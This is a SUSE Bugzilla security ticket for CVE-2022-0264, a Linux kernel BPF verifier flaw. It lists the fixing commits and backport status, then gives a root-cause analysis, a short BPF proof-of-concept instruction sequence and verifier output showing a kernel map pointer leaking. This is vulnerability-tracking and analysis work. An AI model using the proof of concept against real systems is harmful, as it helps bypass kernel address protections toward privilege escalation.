|
Bugzilla – Full Text Bug Listing |
| Summary: | VUL-0: CVE-2022-0264: kernel-source: kernel ptr leak via BPF | ||
|---|---|---|---|
| Product: | [Novell Products] SUSE Security Incidents | Reporter: | Carlos López <carlos.lopez> |
| Component: | Incidents | Assignee: | Security Team bot <security-team> |
| Status: | RESOLVED DUPLICATE | QA Contact: | Security Team bot <security-team> |
| Severity: | Normal | ||
| Priority: | P3 - Medium | CC: | bpetkov, security-team, shung-hsi.yu, tiwai, tonyj |
| Version: | unspecified | ||
| Target Milestone: | --- | ||
| Hardware: | Other | ||
| OS: | Other | ||
| URL: | https://smash.suse.de/issue/319409/ | ||
| Whiteboard: | |||
| Found By: | --- | Services Priority: | |
| Business Priority: | Blocker: | --- | |
| Marketing QA Status: | --- | IT Deployment: | --- |
Bug introduced in: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=37086bfdc737ea6f66bf68dcf16757004d68e1e1 Fixed in: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7d3baf0afa3aa9102d6a521a8e4c41888bb79882 https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=180486b430f4e22cc00a478163d942804baae4b5 The SLE15-SP4 branch is affected. stable and master already got the fixing commits. Actually the fix 37086bfdc737 ("bpf: Fix kernel address leakage in atomic fetch") is already backported to SLE15-SP4 for bug 1193883, kudos to Oliver Neukum for bring up the issue.
The other commit 180486b430f4 ("bpf, selftests: Add test case for atomic fetch on spilled pointer") is purely for development/testing purpose, and does not affect the kernel at run-time.
Re-assigning back to security team.
Updated reference for patches.suse/bpf-Fix-kernel-address-leakage-in-atomic-fetch.patch and pushed to users/syu/SLE15-SP4/bsc1194226_EMBARGO |
**Root Cause Analysis**: The pointer can be converted into a constant by the following instructions on the pointer operation, thereby leaking the pointer: ``` BPF_ADD | BPF_FETCH BPF_AND | BPF_FETCH BPF_OR | BPF_FETCH BPF_XOR | BPF_FETCH BPF_CMPXCHG ``` ```c static int check_atomic(struct bpf_verifier_env *env, int insn_idx, struct bpf_insn *insn) { int load_reg; int err; …… if (insn->imm & BPF_FETCH) { // 【1】 if (insn->imm == BPF_CMPXCHG) load_reg = BPF_REG_0; // 【2】 else load_reg = insn->src_reg; /* check and record load of old value */ err = check_reg_arg(env, load_reg, DST_OP); if (err) return err; } else { /* This instruction accesses a memory location but doesn't * actually load it into a register. */ load_reg = -1; } /* check whether we can read the memory */ err = check_mem_access(env, insn_idx, insn->dst_reg, insn->off, BPF_SIZE(insn->code), BPF_READ, load_reg, true); // 【3】 if (err) return err; /* check whether we can write into the same memory */ err = check_mem_access(env, insn_idx, insn->dst_reg, insn->off, BPF_SIZE(insn->code), BPF_WRITE, -1, true); if (err) return err; return 0; } ``` The key point is in【1】and 【2】. By assigning a value to load_reg, the subsequent load_regno【3】 => dst_regno >= 0 (【4】) can bypass the previous patch check【5】. kernel/bpf/verifier.c: check_stack_read_fixed_off ``` if (dst_regno >= 0) { // <----------【4】 /* restore register state from stack */ state->regs[dst_regno] = *reg; /* mark reg as written since spilled pointer state likely * has its liveness marks cleared by is_state_visited() * which resets stack/reg liveness for state transitions */ state->regs[dst_regno].live |= REG_LIVE_WRITTEN; } else if (__is_pointer_value(env->allow_ptr_leaks, reg)) { // <---------【5】 /* If dst_regno==-1, the caller is asking us whether * it is acceptable to use this value as a SCALAR_VALUE * (e.g. for XADD). * We must not allow unprivileged callers to do that * with spilled pointers. */ verbose(env, "leaking pointer from stack off %d\n", off); return -EACCES; } ``` Poc Code: ```c BPF_LD_IMM64(BPF_REG_1, -1), BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_9, -8), BPF_ATOMIC_DW(BPF_AND | BPF_FETCH, BPF_REG_2, BPF_REG_1, -8), BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_2, -8), BPF_STX_MEM(BPF_DW,BPF_REG_8,BPF_REG_1, 0x18), BPF_STX_MEM(BPF_DW,BPF_REG_8,BPF_REG_0, 0x10), ``` The results of the operation are as follows: ``` 14: (18) r1 = 0xffffffffffffffff 16: R0_w=inv0 R1_w=inv-1 R5_w=inv(id=0) R6=ctx(id=0,off=0,imm=0) R7_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm???? 16: (bf) r2 = r10 17: R0_w=inv0 R1_w=inv-1 R2_w=fp0 R5_w=inv(id=0) R6=ctx(id=0,off=0,imm=0) R7_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm???? 17: (7b) *(u64 *)(r2 -8) = r9 18: R0_w=inv0 R1_w=inv-1 R2_w=fp0 R5_w=inv(id=0) R6=ctx(id=0,off=0,imm=0) R7_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8_w=map_ptr 18: (db) r1 = atomic64_fetch_and((u64 *)(r2 -8), r1) 19: R0_w=inv0 R1_w=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R2_w=fp0 R5_w=inv(id=0) R6=ctx(id=0,off=0,imm=0) R7_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8_w=mmmmmmmm 19: (79) r1 = *(u64 *)(r2 -8) 20: R0_w=inv0 R1_w=inv(id=0) R2_w=fp0 R5_w=inv(id=0) R6=ctx(id=0,off=0,imm=0) R7_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8_w=mmmmmmmm 20: (7b) *(u64 *)(r8 +24) = r1 R0_w=inv0 R1_w=inv(id=0) R2_w=fp0 R5_w=inv(id=0) R6=ctx(id=0,off=0,imm=0) R7_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8_w=mmmmmmmm 21: R0_w=inv0 R1_w=inv(id=0) R2_w=fp0 R5_w=inv(id=0) R6=ctx(id=0,off=0,imm=0) R7_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8_w=mmmmmmmm ``` It can be seen that the r1 register in the 19th instruction reads the value of map_ptr, but it is a constant, thus leaking the map_ptr pointer. Since Ubuntu 21.10 turns off bpf by default, you need to set permissions to trigger the vulnerability.